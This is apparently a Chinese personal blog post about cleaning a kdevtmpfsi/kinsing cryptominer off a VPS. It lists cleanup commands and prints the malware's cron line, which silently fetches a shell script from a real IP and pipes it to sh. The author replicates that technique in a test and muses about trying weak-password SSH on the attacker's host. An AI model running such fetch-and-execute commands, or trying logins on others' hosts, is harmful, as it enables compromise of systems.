(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

1、话说在我10.16号搭建solr复现CVE-2020-13957的时候,为了图省事直接在我的vps本地搭建了一下。

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

2、今天登陆vps发现,卧槽怎么100%占用,top一下。

好家伙,这是个啥。

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

3、我一搜发现是个挖矿病毒。赶紧搜一下怎么解决。

删除守护进程

ps -aux | grep kinsing

删除原进程

ps -aux | grep kdevtmpfsi

删除掉相关文件

cd /tmp

rm -rf kdevtmpfsi

rm -rf /var/tmp/kinsing

最后自己可以再检查一下是否还有kdevtmpfsi的相关文件,有的话就继续删除

find / -name kdevtmpfsi

find / -name kinsing

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

4、我看了一下计划任务,果然。赶紧加个#注释掉。

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

5、好小子,让我看看这是哪的IP。

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

让我康康开了什么端口

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

只有22端口可以弱口令一下,123456

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

6、话说他是在80端口下载的s.sh文件,为啥没开80呢,难道是定时开启关闭?

7、此时我想找一下s.sh文件写了什么内容。发现并不能找到。这里就有几个知识点。

wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1

-q --quiet                                   安静模式(无信息输出)

-O --output-document=FILE      将文档写入FILE

> /dev/null

/dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。

2>&1

这条命令用到了重定向绑定,采用&可以将两个输出绑定在一起。这条命令的作用是错误输出将和标准输出同用一个文件描述符,通俗说就是错误输出将会和标准输出输出到同一个地方。

linux在执行shell命令之前,就会确定好所有的输入输出位置,并且从左到右依次执行重定向的命令,所以>/dev/null 2>&1的作用就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。

8、简单测试一下。

攻击服务器下放1.sh文件。运行此文件会先输出ok,然后访问攻击机的1888端口。

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

靶机执行

wget -q -O - http://ip:port/1.sh | sh > /dev/null 2>&1

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

收到请求,sh文件中的命令实际上已经执行。但是没有输出ok,也没有1.sh文件,

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历

(虚假的应急响应)记一次我云服务器中了挖矿病毒kdevtmpfsi的经历